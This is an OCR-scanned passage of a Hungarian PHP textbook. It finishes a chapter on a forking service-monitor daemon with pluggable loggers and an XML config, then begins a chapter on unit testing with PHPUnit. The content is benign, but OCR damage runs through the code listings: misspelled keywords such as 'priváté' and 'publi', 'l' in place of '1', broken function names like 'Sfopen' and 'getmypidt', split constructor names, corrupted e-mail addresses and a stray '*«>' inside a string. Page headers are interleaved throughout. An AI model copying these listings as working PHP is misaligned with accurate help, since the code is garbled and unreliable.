protected $consecutive_failures a 0;
protected $status_time;
protected $failure_time;
protected $loggers = array();
148 PHP fejlesztés felsőfokon

abstract public function _ construct($params);

public function __call($name, $args)


{
if (isset($this->$name)) {
return $this->$name;
}
}

public function set_next_attempt()


{
$this->next_attempt = time() + $this->frequency;
}

publi abstract function run();

public function post_run($status)


{
if($status !== $this->current_status) {
$this->previous_status = $this->current_status;
}
if($status === self::FAILURE) {
if( $this->current_status === self::FAILURE ) {
$this->consecutive_failures++;
}
else {
$this->failure_time = time();
}
}
else {
$this->consecutive_failures = 0;
}
$this->status_time = time();
$this->current_status = $status;
$this->log_service_event();
}

public function log_current_status()


{
foreach($this->loggers as $logger) {
$logger->log_current_status($this);
}
}

priváté function log_service_event()


{
foreach($this->loggers as $logger) {
$logger->log_service_event($this);
}
}
5. fejezet • Megvalósítás PHP nyelven: önálló programok 149

public function register_logger(ServiceLogger $logger)


{
$this->loggers[ ] = $logger;
}
}

A__ call () tagfüggvény kizárólag olvasásra biztosít hozzáférést a ServiceCheck ob-


jektumok paramétereihez, amelyek a következők:

• timeout - Mennyi ideig várakozhat a figyelő, mielőtt a motor leállítaná.


• next_attempt - Mikor kell újra megpróbálni az adott kiszolgálóhoz való kapcso-
lódást.
• current_status - A szolgáltatás aktuális állapota (SUCCESS vagy FAILURE).
• previous_status - Az aktuális előtti állapot.
• f requency - Milyen gyakran kell ellenőrizni a szolgáltatás jelenlétét.
• description — A szolgáltatás leírása.
• consecutive f ailures - Egymás után hány sikertelen keresés történt az utolsó
sikeres próbálkozás óta.
• status_time - A szolgáltatás utolsó ellenőrzésének időpontja.
• failure_time — Ha az állapot FAILURE, a sikertelen kísérlet ideje.

Az osztály a megfigyelő mintát is megvalósítja, ezzel megengedi a ServiceLogger


típusú objektumoknak, hogy bejegyezzék magukat, így bárhol meghívhatok, ahol
log_current_status () vagy log_service_event () hívás történik.

A legfontosabb megvalósítandó függvény a run (), amely meghatározza, hogyan kell fut-
tatni a figyelőt. Ha a szolgáltatáskeresés sikerrel jár, SUCCESS-t, ha nem, FAILURE-t ad
vissza.

A post_run () tagfüggvény meghívására azután kerül sor, hogy a run () -ban meghatá-
rozott szolgáltatásfigyelő visszatért. Feladata az objektum állapotának beállítása, illetve
a naplózás.

A ServiceLogger felület szerint egy naplózó osztálynak csak két tagfüggvényt kell meg-
valósítania - log_service_event () és log_current_status () -, amelyek akkor hí-
vódnak meg, amikor a run () figyelője visszatér, illetve általános állapotkérés érkezik.

A felület így néz ki:

interface ServiceLogger {
public function log_service_event(ServiceCheck $service);
public function log_current_status(ServiceCheck $service);
}
150 PHP fejlesztés felsőfokon

Végül meg kell írnunk magát a motort. Az alapötlet hasonló, mint a fejezet Démonok írá-
sa című részében szereplő egyszerű programoknál: a kiszolgáló új folyamatot ágaztat le
az egyes ellenőrzések végrehajtására, és egy SIGCHLD kezelővel ellenőrzi azok visszaté-
rési értékét. Az egyszerre végrehajtható ellenőrzések száma beállítható kell legyen, hogy
megakadályozzuk a rendszer erőforrásainak kimerítését. Minden szolgáltatást és naplózást
egy XML fájlban határozunk meg.

A következő kód a ServiceCheckRunner osztályé, amely meghatározza a motort:

class ServiceCheckRunner {

priváté $num_children;
priváté $services = array();
priváté $children = array();

public function ______construct($conf, $num_children)


{
$loggers = array();
$this->num_children = $num_children;
$conf = simplexml_load_file($conf) ;
foreach($conf->loggers->logger as $logger) {
$class = new Reflection_Class("$logger->class");
if ($class->islnstantiable()) {
$loggers["$logger->id"] = $class->newlnstance();
}
else {
fputs(STDERR, "{$logger->class} cannot be instantiated.\n");
exit ;
}
}
foreach($conf->services->service as $service) {
$class = new Reflection_Class("$service->class");
if ($class->islnstantiable()) {
$item = $class->newlnstance($service->params);
foreach($service->loggers->logger as $logger) {
$item->register_logger($loggers["$logger"])j
}
$this->services[] = $item;
}
else {
fputs(STDERR, "{$service->class} is not instantiable.\n") ;
exit;
}
}
}
5. fejezet • Megvalósítás PHP nyelven: önálló programok 151

priváté function next_attempt_sort($a, $b)


{
if($a->next_attempt() == $b->next_attempt()) {
return 0;
}
return ($a->next_attempt() < $b->next_attempt()) ? -1 : 1;
}

priváté function next()


{
usort($this->services, array($this,'next_attempt_sort'));
return $this->services[0];
}

public function loop()


{
declare(ticks=l);
pcntl_signal(SIGCHLD, array($this, "sig_child"));
pcntl_signal(SIGUSR1, array($this, "sig_usrl"));
while(l) {
$now = time();
if(count($this->children) < $this->num_children) {
$service = $this->next();
if($now < $service->next_attempt()) {
sleep(1);
continue;
}
$service->set_next_attempt();
if($pid = pcntl_fork()) {
$this->children[$pid] = $service;
}
else {
pcntl_alarm($service->timeout());
exit($service->run());
}
}
}
}

public function log_current_status()


{
foreach($this->services as $service) {
$service->log_current_status();
}
}

priváté function sig_child($signal)


{
$status = ServiceCheck::FAILURE;
152 PHP fejlesztés felsőfokon

pcntl_signal(SIGCHLD, array($this, "sig_child"));


while(($pid = pcntl_wait($status, WNOHANG)) > 0) {
$service = $this->children[$pid];
unset($this->children[$pid]);
if(pcntl_wifexited($status) &&
pcntl_wexitstatus($status) == ServiceCheck::SUCCESS)
{
$status = ServiceCheck::SUCCESS;
}
$service->post_run($status);
}
}

priváté function sig_usrl($signal)


{
pcntl_signal(SIGUSR1, array($this, "sig_usrl"));
$this->log_current_status();
}
}

Ez egy meglehetősen kidolgozott osztály. A konstruktőr beolvas és feldolgoz egy XML ál-
lományt, ezáltal létrehozza a figyelendő szolgáltatásokat, illetve az azokat rögzítő napló-
zókat. A részletekre hamarosan kitérünk.

A loop () tagfüggvény az osztály fő metódusa. Feladata, hogy beállítsa a kívánt jelzéske-


zelőket, illetve hogy ellenőrizze, létrehozható-e új gyermekfolyamat. Ha a következő ese-
mény (amit a next_attempt időbélyegzővel vezérlünk) futtatható, új folyamatot ágazta-
tunk le. A gyermekfolyamaton belül egy riasztás gondoskodik róla, hogy az ellenőrzés ne
tarthasson tovább a timeout értékénél, majd a run () által meghatározott ellenőrzés
végrehajtására kerül sor.

Két jelzéskezelőnk van. A sig_child () nevű SIGCHLD kezelő begyűjti a befejezett


gyermekfolyamatokat, és végrehajtja szolgáltatásuk post_run () tagfüggvényét.
A sig_usrl () nevű SIGUSR1 kezelő egyszerűen meghívja a bejegyzett naplózok
log_current_status () tagfüggvényeit, amelyekkel lekérdezhető a teljes rendszer
állapota.

A figyelőrendszer önmagában persze nem csinál semmit; működéséhez legalább egy fi-
gyelendő szolgáltatásra van szükség. Az alábbi osztály azt ellenőrzi, hogy egy HTTP ki-
szolgálótól 200 Server OK választ kaptunk-e:

class HTTP_ServiceCheck extends ServiceCheck


{
public $url;
public function __ construct($params)
{
5. fejezet • Megvalósítás PHP nyelven: önálló programok 153

foreach($params as $k => $v) {


$k = "$k";
$this->$k = "$v";
}
}

public function run()


{
if (is_resource(Sfopen($this->url, " r " ) ) ) {
return ServiceCheck::SUCCESS;
}
else {
return ServiceCheck::FAILURE;
}
}
}

A korábban felépített keretrendszerrel összevetve ez a szolgáltatás kifejezetten egyszerű -


és éppen ez a lényeg: az erőfeszítés a keretrendszer építésére korlátozódik, míg a bővítés
igen könnyű.

Példaként lássunk egy olyan ServiceLogger folyamatot, amely e-mailben értesíti az ille-
tékest, ha egy szolgáltatás leáll:

class EmailMe_ServiceLogger implements ServiceLogger {


public function log_service_event(ServiceCheck $service)
{
if ( $service->current_status == ServiceCheck::FAILURE) {
$message = "Problem with {$service->description()}\r\n" ;
mail('oncall@example.com', 'Service Event', $message);
if($service->consecutive_failures() > 5) {
mail('oncall_backup@example.com', 'Service Event', $message);
}
}
}

public function log_current_status(ServiceCheck $service)


{
return;
}
}

Ötnél több sikertelen próbálkozás esetén a folyamat egy tartalék címre is üzenetet küld.
A log_current_status () tagfüggvényt nem tölti meg tartalommal.
154 PHP fejlesztés felsőfokon

Ha olyan ServiceLogger folyamatot szeretnénk megvalósítani, ami a PHP hibanaplóba


ír, ha egy szolgáltatás állapota megváltozik, a következő kódot kell írnunk:
class ErrorLog_ServiceLogger implements ServiceLogger {
public function log_service_event(ServiceCheck $service)
{
if($service->current_status() !== $service->previous_status()) {
if($service->current_status() === ServiceCheck::FAILURE) {
$status = 'DOWN';
}
else {
$status = 'UP';
}
error_log("{$service->description()} changed status to
'*«> $status") ;
}
}

public function log_current_status(ServiceCheck $service)


{
error_log("{$service->description()}: $status");
}
}

A log_current_status () tagfüggvény itt azt csinálja, hogy ha a folyamat SIGUSRl jel-


zést kap, minden aktuális állapotinformációt a PHP hibanaplóba önt.

A motor beállítófájlja valahogy így festhet:


<config>
<loggers>
<logger>
<id>errorlog</id>
<class>ErrorLog_ServiceLogger</class>
</logger>
<logger>
<id>emailme</id>
<class>EmailMe_ServiceLogger</class>
</logger>
</loggers>
<services>
<service>
<class>HTTP_ServiceCheck</class>
<params>
<description>OmniTI HTTP Check</description>
<url>http://www.omniti.com</url>
<timeout>3 0</timeout>
<frequency>9 00</frequency>
</params>
5. fejezet • Megvalósítás PHP nyelven: önálló programok 155

<loggers>
<logger>errorlog</logger>
<logger>emailme</logger>
</loggers>
</service>
<service>
<class>HTTP_ServiceCheck</class>
<params>
<description>Home Page HTTP Check</description>
<url>http://www.schlossnagle.org/~george</url>
<timeout>3 0</timeout>
<freguency>3 6 0 0 < / f requency>
</params>
<loggers>
<logger>errorlog</logger>
</loggers>
</service>
</services>
</config>
Amikor megkapja ezt az XML állományt, a ServiceCheckRunner konstruktora minden
megadott naplózóból példányt készít, majd az egyes szolgáltatások számára ServiceCheck
objektumpéldányokat hoz létre.

Megjegyzés

A konstruktőr a Ref lection_Class osztály segítségével megvizsgálja a szolgáltatás- és


naplózó osztályokat, mielőtt példányosítaná azokat. Ez nem feltétlenül szükséges, de jól
illusztrálja a PHP5-ben újonnan megjelent visszatekintő felületet (Reflection API). A felület
az osztályok mellett a PHP szinte minden belső egyedének (függvények, tagfüggvények)
vizsgálatához biztosít osztályokat.

A létrehozott motor használatához még szükséges némi burkoló kód. A figyelőnek meg kell
akadályoznia, hogy kétszer is elindíthassuk, és így minden eseményről kétszer küldjünk
üzenetet. Emellett bizonyos kapcsolókat is el kell fogadnia, többek között a következőket:

Kapcsoló Leírás
[-f ]______ A motor beállítófájljának helye; alapértelmezés szerint monitor .xml._________
[-n] A gyermekfolyamat-gyűjtőtárnak a motor által megengedett mérete; az alap-
__________ értelmezett érték 5._________________________________________________
[-d] A motor démonná tételét megakadályozó jelző. Akkor lehet rá szükség, ha
hibakereső ServiceLogger folyamatot szeretnénk írni, ami az információ-
__________ kat a stdout-ra vagy a stderr-re írja.____________________________________
156 PHP fejlesztés felsőfokon

íme a végleges figyelőprogram, ami kapcsolókat is elfogad, garantálja a kizárólagosságot,


és futtatja a szolgáltatáskeresőket:

require_once "Service.inc";
require_once "Console/Getopt.php";

$shortoptions = "n:f:d";
$default_opts = array('n' => 5, ' £ ' => 'monitor.xml') ;
$args = getOptions($default_opts, $shortoptions, null);

$fp = fopen("/tmp/.lockfile", " a " ) ;


i f( ! $ f p II !fl ock($fp, LOCK_EX | LOCK_NB)) {
fputs($stderr, "Failed to acquire lock\n");
exit ;
}
if(!$args['d']) {
if(pcntl_fork()) {
exit;
}
posix_setsid();
if(pcntl_fork()) {
exit;
}
}
fwrite($fp, getmypidt));
fflush($fp);

$engine = new ServiceCheckRunner($args['f ' ] , $args['n']);


$engine->loop ();

Megfigyelhetjük, hogy a példaprogramban a korábban meghatározott saját getOptions ()


függvényt használtuk, hogy a feldolgozási kapcsolókkal könnyebb dolgunk legyen.

Miután megírtunk egy megfelelő beállítófájlt, a programot a következőképpen indíthatjuk el:

> ./monitor.php -f /etc/monitor.xml

Ezzel létrehoztuk a démont, ami a szolgáltatások figyelését addig folytatja, amíg a számí-
tógépet le nem állítják vagy a programot le nem lövik.

A program meglehetősen összetett, ennek ellenére lehet még javítani rajta - de az alábbi
feladatokat gyakorlásképpen az Olvasóra hagyjuk:

• Adjunk a programhoz egy SIGHUP kezelőt, amely újra feldolgozza a beállítófájlt,


hogy a beállításokat a kiszolgáló újraindítása nélkül módosíthassuk.
5. fejezet • Megvalósítás PHP nyelven: önálló programok 157

• írjunk egy olyan ServiceLogger-t, ami maradandó (perzisztens) adatok számára


készített adatbázisba ír, ahonnan az adatok lekérdezhetők.
• Készítsünk webes felületet a programhoz, hogy a figyelőrendszer csinos grafikus
felülettel rendelkezzen.

További olvasmányok
A PHP nyelvű héjprogramozással kapcsolatban nem sok forrás lelhető fel; a Perl a fel-
ügyeleti feladatok terén sokkal nagyobb múltra tekinthet vissza. Dávid N. Blank-Edelman
könyve, a Perl for Systems Administration összeszedett szöveg, a két nyelv szabályai és
szolgáltatásai között pedig van annyi hasonlóság, hogy a kötetben szereplő Perl nyelvű
példákat könnyen átültethessük PHP-re.

Aphp \architect című elektronikus (illetve most már nyomtatásban is elérhető) folyóirat-
ból Marco Tabini remek cikkét ajánljuk, amelyet a PHP, illetve az ncurses bővítmény se-
gítségével épített interaktív, terminál alapú alkalmazásokról írt. (Volume 1, Issue 12. Elér-
hető a http: //www.phparch. com címen.)

Bár itt sajnos nincs elegendő hely a tárgyalására, a PHP-GTK kétségkívül érdekes
vállalkozás, amely grafikus felületű asztali alkalmazások készítésére irányul PHP
nyelven, a GTK grafikus elemkészlet segítségével. A PHP-GTK-ról bővebb információt
a http: / /gtk. php. net címen találunk.

Érdemes megnézni a http: / /nagios . org címen elérhető Nagios erőforrás-figyelőt,


amely egy kitűnő nyílt forrású figyelőrendszer. A fejezetben bemutatott figyelőprogramot
is a Nagios ihlette. A Nagios C nyelvű és CGI alapú, ezért nehezen testreszabható, a mi
programunk motorjának magja azonban PHP nyelvű, így az előtérrendszer könnyen az
igényekhez igazítható.
Egységtesztelés
A tervezés és a tesztelés elválaszthatatlanul összetartozik.

Minden kódot ellenőrizni kell valamikor - megvalósítás közben, kifejezetten tesztelési lé-
pésben, vagy üzembe helyezéskor. Minden fejlesztő, akinek a keze közül került már ki hi-
bás kód, tudja, hogy könnyebb megtalálni a hibát fejlesztés közben, mint „élőben", műkö-
dés közben.

Számos kifogás létezik arra, hogy valaki miért is nem teszteli a kódot, mielőtt túl késő len-
ne. Ezek a legnépszerűbbek:

• Szorít a határidő.
• Az én kódom mindig működik elsőre is.
• Az én gépemen tökéletesen fut a kód.

Vizsgáljuk meg a fenti kifogásokat. Először is, a tempó általában azért feszített, mert nem
mindegy, hogy előbb vagy később tesztelünk: a kód stabillá és működőképessé tételéhez
szükséges tesztelés mennyisége egyenesen arányos a megírt kóddal, vagyis a korai és ké-
sői tesztelés nem azonos költségű műveletek. A hibakeresést két dolog nehezíti:

• Egy formális tesztelési rendszerrel nem rendelkező nagy méretű alaprendszerben


nehéz megtalálni a hibák gyökerét. Olyan, mintha tűt keresnénk a szénakazalban.
Egy tízsoros programban meglelni a hibát könnyű, de ugyanez tízezer sornyi
beemelt kód esetében rendkívüli erőfeszítést igényel.
• Ahogy az alaprendszer nő, úgy növekszik az elemek közötti függőségek száma is.
Egy „központi" függvénykönyvtárban végrehajtott látszólag jelentéktelen változtatás
- legyen az akár új szolgáltatás hozzáadása, vagy egy hiba kijavítása - szándékunk-
tól függetlenül tönkreteheti az alkalmazás más részeit, így a szoftver újraépítésére
lehet szükség. (Ezt hívják idegen szóval refaktorizációnak.) Ahogy a szoftver mére-
te és összetettsége nő, egyre nehezebbé válik olyan módosításokat végrehajtani,
amelyek nem járnak jelentős időköltséggel vagy nem okoznak újabb hibákat.
160 PHP fejlesztés felsőfokon

Másodszor, minden szoftver tartalmaz hibákat. Aki azt állítja, hogy az ő programjai mindig
hibamentesek, álomvilágban él.

Harmadszor, minden rendszer beállításai különböznek, és ezek a különbségek gyakran


előre nem látható módon alakulnak ki. A PHP különböző változatait használják, a függ-
vénykönyvtárak verziószáma különbözik, más az állományrendszer felépítése - ez csak
néhány a lehetséges okok közül, amelyek miatt az egyik gépen tökéletesen futó kód
a másik gépen rejtélyesen kudarcot vall.

Bár az említett gondok megoldására nem létezik csodaszer, egy jó egységtesztelő infrast-
ruktúra sokat segíthet. Az egység (unit) a kód egy kisméretű önálló része, például egy
függvény vagy osztálymetódus. Az egységtesztelés a kód ellenőrzésének olyan formális
megközelítése, amelyben egy alkalmazás minden összetevőjéhez (vagyis minden egység-
hez) egy-egy teszthalmaz tartozik. Ha ezen tesztek végrehajtására van egy automatizált
keretrendszerünk, az alkalmazást folyamatosan és következetesen ellenőrizhetjük, így
gyorsan azonosíthatjuk a hibákat, és értékelhetjük egy újraépítés hatását a program más
részeire. Az egységtesztelés nem pótolja a teljes alkalmazástesztelést, csak kiegészíti azt,
hogy rövidebb udő alatt stabilabb kódot készíthessünk.

Azzal, hogy folyamatos ellenőrzést kapcsolunk egy függvénykönyvtárhoz, ami végigkíséri


annak egész életét, megkönnyítjük a kód újraépítését, és biztosítjuk, hogy a többi szolgál-
tatásban ne következzen be visszafordíthatatlan változás. Minden esetben, amikor belső
módosítást eszközölünk a függvénykönyvtárban, a tesztcsomagot újra lefuttatjuk. Ha az
ellenőrzés nem jelez hibát, az újraépítés sikeres volt. Ezzel a rejtélyes alkalmazáshibák fel-
derítése jelentősen könnyebbé válik. Ha egy könyvtár minden tesztet sikeresen teljesít (és
a tesztcsomag teljes), a hibát valószínűleg nem ő okozza.

Megjegyzés

Az egységtesztelést általában az extrém programozás módszertanához kötik. Az átfogó


egységtesztelés valóban sarokköve az extrém programozásnak, de a módszer már jóval az
extrém programozás megjelenése előtt létezett, és természetesen attól függetlenül is hasz-
nálható. E könyv egyetlen programozási módszerről sem állítja, hogy az lenne az „egyet-
len helyes stílus", ezért az egységtesztelést is önálló eljárásként tárgyaljuk, amely stabil kó-
dok tervezését és építését segíti. Ha az extrém programozásról még nem olvastunk sem-
mit, érdemes megismerkednünk vele. Érdekes megoldásokat tartalmaz, amelyekkel szá-
mos profi programozó él. A fejezet végén, a További olvasmányok című részben részlete-
sebb információkat találunk.
6. fejezet • Egységteszteles 161

Bevezetés az egységtesztelésbe
Egy sikeres egységtesztelő keretrendszernek rendelkeznie kell bizonyos tulajdonságokkal,
többek között a következőkkel:

• Automatizált - A rendszernek minden szükséges tesztet a programozó beavatkozása


nélkül kell futtatnia.
• Könnyen megírható - A rendszernek könnyen használhatónak kell lennie.
• Bővíthető - A szükséges munkamennyiség csökkentése céljából a már létező tesz-
teknek újrahasznosíthatónak kell lenniük.

Ahhoz, hogy valóban profitálhassunk az egységtesztelésből, a teszteknek is meg kell felel-


niük bizonyos ismérveknek:

• Átfogó - A teszteknek minden függvényt és osztályt ellenőrizniük kell. Nem csak


azt kell biztosítanunk, hogy minden függvény úgy működik, ahogy várjuk, hanem
azt is, hogy ha helytelen adatokat kapnak, megfelelően fejezik be működésüket.
Emellett a könyvtár használata során felfedezett hibákra is teszteket kell írnunk.
A részleges tesztelés olyan lyukakat hagy, amelyek újraépítés esetén új hibákhoz
vagy a régiek újbóli felbukkanásához vezethetnek.
• Újrahasznosítható - A teszteknek elég általánosnak kell lenniük, hogy célpontjukat
újra és újra ellenőrizhessék, ami szükséges ahhoz, hogy a könyvtár helyességét tel-
jes élettartama alatt biztosíthassuk.

Egységtesztek írása automatikus egységteszteléshez


A fejezetben tárgyalt tesztelő keretrendszerhez a PEAR PHPUnit csomagját használjuk.
A PHPUnit a legtöbb ingyenes egységtesztelő keretrendszerhez hasonlóan a JUnit-on,
Erich Gamma és Kent Beck kitűnő Java egységtesztelő csomagján alapul.

A PHPUnit telepítéséhez csak a következő parancsot kell kiadnunk (valószínűleg rend-


szergazdai hozzáféréssel):

# pear install phpunit

A PHPUnit emellett a http: //pear .php.net/PHPUnit címről is letölthető.

Első egységtesztünk
Az egységtesztek úgynevezett tesztesetek gyűjteményei. A teszteset feladata egy adott for-
gatókönyv kimenetelének ellenőrzése. A forgatókönyv olyan egyszerű is lehet, mint egy
függvény eredményének tesztelése, de ellenőrizhetjük egy bonyolult művelethalmaz
eredményét is.
162 PHP fejlesztés felsőfokon

A PHPUnit-ban a tesztesetek a PHPUnit_Framework_TestCase osztály alosztályai.


Ezen osztály példányai egy vagy több tesztesetből, illetve nem kötelező beállításokból és
más kódból állnak.

A legegyszerűbb tesztesetek egyetlen tesztet valósítanak meg. írjunk most egy olyan tesz-
tet, ami egy egyszerű levélcím-feldolgozó viselkedését ellenőrzi. A feldolgozó egy RFC
822-megfelelő elektronikus levélcímet bont annak összetevőire.

class EmailAddress {
public $localPart;
public $domain;
public $address;
public function _____ construct($address = null) {
if($address) {
$this->address = $address;
$this->extract();
}
}
protected function extract() {
list ($this->localPart, $this->domain) = explode("@",
$this->address) ;
}
}

A fenti kód tesztelésére létrehozunk egy TestCase nevű osztályt, ami egy olyan tag-
függvényt tartalmaz, ami ellenőrzi, hogy egy ismert e-mail címet helyesen bontottunk-e
összetevőkre:
require_once "EmailAddress.inc";
require_once 'PHPUnit/Framework/TestClass.php';

class EmailAddressTest extends PHPUnit_Framework_TestCase {


public function _____ constructor($name) {
parent: :____ constructor($name);
}
function testLocalPart() {
$email = new EmailAddress("georgeüomniti.com");
// ellenőrizzük, hogy a cím helyi része 'george'-e
$this->assertTrue($email->localPart == ' g e o r g e ' ) ;
}
}

Ezután be kell jegyeztetnünk a tesztosztályt. Létrehozunk egy PHPUnit_Frame-


work_TestSuite objektumot, és hozzá egy tesztesetpéldányt:
require_once "PHPUnit/Framework/TestSuite";
$suite = new PHPUnit_Framework_TestSuite() ;
$suite->addTest(new EmailAddressTest('testLocalPart')) ;
6. fejezet • Egységtesztelés 163

Miután ezt elvégeztük, futtatjuk a tesztet:

require_on.ce "PHPUnit/TextUI/TestRunner" ;
PHPUnit_TextUI_TestRunner::run($suite);

Az alábbi eredményt kapjuk, amit kiírathatunk:

PHPUnit 1. 0. 0-dev by Sebastian Bergmann.

Time: 0.00156390666962 ^

OK (1 test)

Több teszt hozzáadása


Ha több kisméretű tesztesetünk van (például ha mind a helyi címrész, mind a tartomány
helyes felbontását ellenőrizzük), elkerülhetjük, hogy sok TestCase osztályt kelljen létre-
hoznunk. A TestCase osztályok ugyanis egyszerre több tesztet is tartalmazhatnak:

class EmailAddressTestCase extends PHPUnit_Framework_TestCase{


public function _____ constructor($name) {
parent: :____constructor($name);
}
public function testLocalPart() {
$email = new EmailAddress("george@omniti.com");
// ellenőrizzük, hogy a cím helyi része 'george'-e
$this->assertTrue($email->localPart == 'george');
}
public function testDomainO {
$email = new EmailAddress("george@omniti.com");
$this->assertEquals($email->domain, 'omniti.com');
}
}

A tesztek bejegyzése ugyanúgy történik, mintha egyetlen tesztünk lenne:

$suite = new PHPUnit_FrameWork_TestSuite();


$suite->addTest(new EmailAddressTestCase('testLocalPart'));
$suite->addTest(new EmailAddressTestCase('testDomain'));
PHPUnit_TextUI_TestRunner::run($suite);
164 PHP fejlesztés felsőfokon

Kényelmi szempontból célszerű a PHPUnit_Framework_TestSuite objektumot


a TestCase osztály nevével példányosítani, mert így a $suite minden tagfüggvényt,
amelynek neve a test előtaggal kezdődik, automatikusan bejegyez:

$suite = new PHPUnit_Framework_TestSuite('EmailAddressTestCase') ;


// a testLocalPart és a testDomain bejegyzése most már automatikus
PHPUnit_TextUI_TestRunner::run($suite);

Meg kell jegyeznünk, hogy ha a csomaghoz az addTest használatával adunk több tesz-
tet, azok abban a sorrendben futnak le, amelyben hozzáadtuk őket. Ha a teszteket auto-
matikusan jegyezzük be, bejegyzésük a get_class_methods () által visszaadott sor-
rendben történik. (A TestSuite ezzel a függvénnyel nyeri ki automatikusan a tesztelő
függvényeket.)

Kódon belüli és kívüli egységtesztek


Az egységtesztek nem csak a fejlesztés korai szakaszában hasznosak, hanem a projekt tel-
jes élete során. Amikor csak újraépítünk egy kódot, azt szeretnénk, ha a teljes egységtesz-
telő csomag futtatásával ellenőrizhetnénk annak helyességét. De hogyan rendezhetjük el
a legjobban az egységteszteket úgy, hogy azok könnyen futtathatók, frissíthetők, és
a könyvtárral együtt „szállíthatók" legyenek?

Az egységtesztek becsomagolására két lehetőségünk van. Az első, hogy a tesztelő kódot


közvetlenül a könyvtárakba építjük. E módszer előnye, hogy a tesztek az ellenőrzendő
kóddal együtt frissülhetnek, de vannak hátrányai is. A másik lehetőség, hogy a teszteket
önálló fájlokba helyezzük.

Kódon belüli tesztelés


A tesztek becsomagolásának egyik lehetséges módja, hogy közvetlenül a könyvtárakba
építjük őket. Mivel pedáns programozók vagyunk, függvényeinket alárendelt könyvtárak-
ban tartjuk, amelyeket soha nem hívunk meg közvetlenül (vagyis soha nem hozunk létre
olyan oldalt, hogy www. omniti . com/EmailAddress . inc). Ennélfogva ha a tesztelő
kódot úgy adjuk hozzá egy könyvtárhoz, hogy kizárólag akkor fusson le, ha a könyvtárat
közvetlenül hívják meg, a kódot láthatatlanul beépíthetjük a kódalapba.

Adjuk az EmailAddress . inc végéhez a következő blokkot:

if (realpath($_SERVER[ ' PHP_SELF ' ] ) ==____FILÉ__ ) {


require_once "PHPUnit/Framework/TestSuite.php";
require_once "PHPUnit/TextUI/TestRunner.php";
class EmailAddressTestCase extends PHPUnit_Framework_TestCase{
public function _____ construct($name) {
parent: :____construct ( $name) ;
}
6. fejezet • Egységtesztelés 165

public function testLocalPart() {


$email = new EmailAddress("george@omniti.com");
// ellenőrizzük, hogy a cím helyi része 'george'-e
$this~>assertTrue($email->localPart == ' g e or g e ' ) ;
}
public function testDomain() {
$email = new EmailAddress("georgeSomniti.com");
$this->assertEquals($email->domain, ' om n i t i . c om ' ) ;
}
}
$suite = new PHPUnit_Framework_TestSuite('EmailAddressTestCase');
PHPUnit_TextUI_TestRunner::run($suite);
}

Mi történik itt? A blokk elején ellenőrizzük, hogy a fájlt közvetlenül vagy (az include-
dal) beemelt kódként hajtjuk-e végre. A $_SERVER [' PHP_SELF ' ] automatikus változó,
amely a végrehajtás alatt álló program nevét adja meg.
A realpath ( $_SERVER [ ' PHP_SELF ' ] ) a fájl kanonikus abszolút elérési útját adja
vissza, a___FILÉ__ pedig - ami egy automatikusan meghatározott állandó - az aktuális
fájl kanonikus nevét. Ha a kettő megegyezik, az azt jelenti, hogy a fájlt közvetlenül hívták
meg; ha különböznek, include hívásról van sző. Ezután a szokásos egységtesztelő kód
következik, majd a tesztek meghatározása, bejegyzése és futtatása.

Relatív, abszolút és kanonikus elérési utak

Ezeket a kifejezéseket gyakran használják. A relatív elérési út az aktuális könyvtárhoz vi-


szonyított, például valami .php vagy . . /scripts/valami .php. Mindkét példában
tudnunk kell, melyik az aktuális könyvtár, hogy megtalálhassuk a fájlt.

Az abszolút elérési út a gyökérkönyvtárhoz képest adja meg a helyet. A /home/george/


scripts/valami.php vagy a/home/george//src/../scripts/./valami.php
például abszolút elérési utak. (Mindkettő ugyanarra az állományra mutat.)

A kanonikus elérési útban nem szerepelnek a következő jelek: /. ./, /./ és //.
A realpath () függvénynek egy relatív vagy abszolút elérési utat kell átadnunk,
amit az kanonikus abszolút elérési úttá alakít. Ilyen elérési út például
a /home/george/scripts/valami.php.
166 PHP fejlesztés felsőfokon

Az EmailAddress osztály teszteléséhez csak közvetlenül végre kell hajtanunk a beemelt


állományt:

(george@maya)[chapter-6]> php EmailAddress.inc


PHPUnit 1.0.0-dev by Sebastian Bergmann.

Time: 0.003005027771

OK (2 tests)

A tesztkód közvetlen beágyazása a könyvtárba ismerős lehet a Python programozók szá-


mára, hiszen a Python szabványos könyvtára gyakran él ezzel a tesztelési módszerrel.

A kódon belüli tesztek előnyei a következők:

• A tesztek mindig kéznél vannak.


• A felépítés szigorúan szabályozott.

A módszernek azonban vannak hátulütői is:

• Ha a termék elkészült, szállítás előtt a tesztkódokat saját kezűleg kell kiszedegetni.


• A tesztelés módosításához a könyvtárakat nem kell megváltoztatni, és ez fordítva
is igaz. így a tesztek és a könyvtárkódok változatainak kezelése egymástól függet-
len lesz.
• A PHP értelmezett nyelv, így a teszteket mindenképpen fel kell dolgozni a program
futtatásakor, ami csökkentheti a teljesítményt. Ezzel szemben egy olyan lefordított
nyelvben, mint a C++, előfeldolgozói utasításokkal (pl. #ifdef) teljes egészében el-
távolíthatjuk a tesztkódot a könyvtárból, ha a fordítás nem egy adott jelzővel történik.
• A beágyazott tesztek a weblapok, illetve C bővítmények esetében nem működnek
(legalábbis nem egyszerűen).

Önálló tesztek
A beágyazott tesztek hátrányait figyelembe véve célszerű másik módszert választani, és
a teszteket önálló állományokba helyezni. Az ilyen külső tesztek megvalósítására számos
megközelítés létezik. Egyesek minden könyvtármappában létrehoznak egy t vagy tests
nevű alkönyvtárát, amelybe a tesztkódokat helyezik. (Ez a Periben a regressziós tesztek
szabványos módszere, amit újabban a PHP forrásépítő fa tesztelésére is átvettek.) Mások
tesztjeiket közvetlenül a forrásfájlok mellé teszik. Szervezési szempontból mindkét mód-
szernek vannak előnyei, úgyhogy a döntés inkább csak a személyes ízlésünkön múlik. Mi
a második megközelítésnél maradunk, hogy a példák világosak maradjanak. Minden
könyvtár. inc fájlhoz létre kell hoznunk egy könyvtár. phpt fájlt, amely tartalmazza
a számára meghatározott valamennyi PHPUnit_Framework_TestCase objektumot.
6. fejezet • Egységtesztelés 167

A tesztprogramban hasonló fogást alkalmazunk, mint amit a fejezet korábbi részében: be-
csomagoljuk a PHPUnit_Framework_TestSuite létrehozását és lefuttatunk egy ellen-
őrzést, hogy lássuk, a tesztkód végrehajtása közvetlenül történik-e. így könnyen futtathat-
juk a fájlban található teszteket (közvetlen végrehajtással), vagy beemelhetjük azokat egy
nagyobb tesztbe.

Az EmailAddress .phpt így néz ki:

<?php
require_once "EmailAddress.inc";
require_once 'PHPUnit/Framework/TestSuite.php';
require_once 'PHPUnit/TextUI/TestRunner.php';

class EmailAddressTestCase extends PHPUnit_Framework_TestCase {


public function __ construct($name) {
